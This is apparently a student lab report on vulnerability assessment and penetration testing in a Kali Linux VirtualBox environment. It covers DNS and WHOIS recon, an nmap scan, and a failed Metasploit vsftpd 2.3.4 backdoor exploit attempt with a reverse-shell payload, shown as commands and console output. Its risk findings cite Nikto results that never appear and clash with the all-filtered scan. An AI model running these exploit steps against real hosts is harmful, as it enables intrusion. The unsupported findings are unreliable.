



Vulnerability Assessment and Penetration Testing (VAPT)

1. Introduction

This report documents the Vulnerability Assessment and Penetration Testing (VAPT) activities performed in a Kali Linux lab environment. The objective of this assessment was to understand vulnerability scanning, reconnaissance, penetration testing methodologies, and risk assessment using open-source cybersecurity tools.

The practical activities included reconnaissance, service enumeration, web vulnerability scanning, exploitation attempts, risk analysis, and documentation of findings.

2. Objectives

The objectives of this assessment were:

- Perform reconnaissance and information gathering.
 - Conduct vulnerability scanning using industry-standard tools.
 - Analyze vulnerabilities and assign risk ratings.
 - Perform basic penetration testing using Metasploit.
 - Understand PTES methodology and VAPT workflow.
 - Document findings and remediation recommendations.
-

3. Tools Used

Tool	Purpose
Kali Linux	Penetration testing operating system
Nmap	Network scanning and service enumeration
Nikto	Web vulnerability scanner
Metasploit Framework	Exploitation framework
WHOIS	Domain information gathering
nslookup	DNS information gathering

4. Reconnaissance and Information Gathering



Reconnaissance was performed to collect information about the target environment.

Activities Performed

- Identified the local IP address using ifconfig.
- Performed WHOIS lookup on github.com.
- Performed DNS lookup using nslookup.
- Enumerated services running on the target system.

Target Information

Parameter	Value
Target IP	192.168.56.102
Environment	VirtualBox Host-Only Network
Operating System	Kali Linux

Reconnaissance Findings

The reconnaissance phase identified the target system and confirmed network connectivity within the VirtualBox host-only environment.

```
Server:      10.0.2.3
Address:     10.0.2.3#53

Non-authoritative answer:
Name:   github.com
Address: 20.207.73.82
```

5. Vulnerability Scanning

5.1 Nmap Scan

Nmap was used to perform service detection and identify exposed services on the target host.

Command Used

```
sudo nmap -sV 192.168.56.102 -oN nmap_scan.txt
```

Findings

The scan indicated that all 1000 scanned TCP ports were filtered or inaccessible. This reduced direct attack exposure but still required further analysis.



Metasploit Activity

Module Used

exploit/unix/ftp/vsftpd_234_backdoor

Commands Used

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 192.168.56.102

set LHOST 192.168.56.102

run

Exploitation Result

The exploit attempt failed because the FTP service was not running on the target host. This demonstrated the importance of service validation before exploitation attempts.

Observations

- No FTP service was exposed.
- Exploit validation was successful.
- Attack surface was limited.

```
Session Actions Edit View Help
msf5 (kali) [~/Desktop]
msf5 > search vsftpd
Metasploit tip: Keep track of findings and observations with notes
/usr/share/metasploit-framework/lib/ex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.29.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here

[+] 2,635 exploits - 1,338 auxiliary - 2,149 payloads
[+] 432 post - 49 encoders - 14 mops - 32 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid Open Source Project

msf5 > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  --
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent Yes    VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/ssl/meterpreter_reverse_tcp
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.102
LHOST => 192.168.56.102
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.56.102:4444
[*] 192.168.56.102:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.102:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.56.102/21).
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) >
```

7. Risk Assessment

The identified vulnerabilities were analyzed using CVSS severity ratings.

Risk Summary



Risk Level	Description
Medium	Missing security headers may increase exposure to XSS and clickjacking attacks
Medium	Directory indexing may expose sensitive files
Medium	Outdated server software may contain known vulnerabilities

Security Impact

The vulnerabilities identified during the assessment mainly related to insecure web configurations and insufficient hardening practices.

8. PTES Methodology

The assessment followed a simplified PTES-based workflow.

Workflow

1. Planning
2. Reconnaissance
3. Scanning
4. Exploitation
5. Validation
6. Reporting

This workflow ensured a structured approach to vulnerability assessment and penetration testing activities.

9. Remediation Recommendations

The following remediation steps are recommended:

1. Implement HTTP security headers:
 - Content-Security-Policy
 - X-Frame-Options
 - X-Content-Type-Options
 2. Disable unnecessary directory indexing.
 3. Upgrade outdated web server software.
 4. Restrict unnecessary services using firewall rules.
 5. Perform regular vulnerability scanning and patch management.
 6. Monitor logs for suspicious activities.
-

10. Key Learnings



- Learned how to perform reconnaissance and vulnerability scanning using open-source cybersecurity tools.
 - Understood the importance of validating services before exploitation attempts.
 - Gained practical experience in documenting findings, assigning CVSS scores, and preparing VAPT reports.
-

11. Conclusion

The VAPT assessment demonstrated the practical use of reconnaissance, vulnerability scanning, and penetration testing techniques in a controlled Kali Linux environment. Tools such as Nmap, Nikto, and Metasploit were used to identify security weaknesses and validate potential attack surfaces. The assessment highlighted the importance of proper web server hardening, secure configurations, and regular security testing to reduce organizational risk.

12. References

- OWASP Testing Guide
- Nmap Official Documentation
- Nikto Documentation
- Metasploit Framework Documentation
- NIST SP 800-115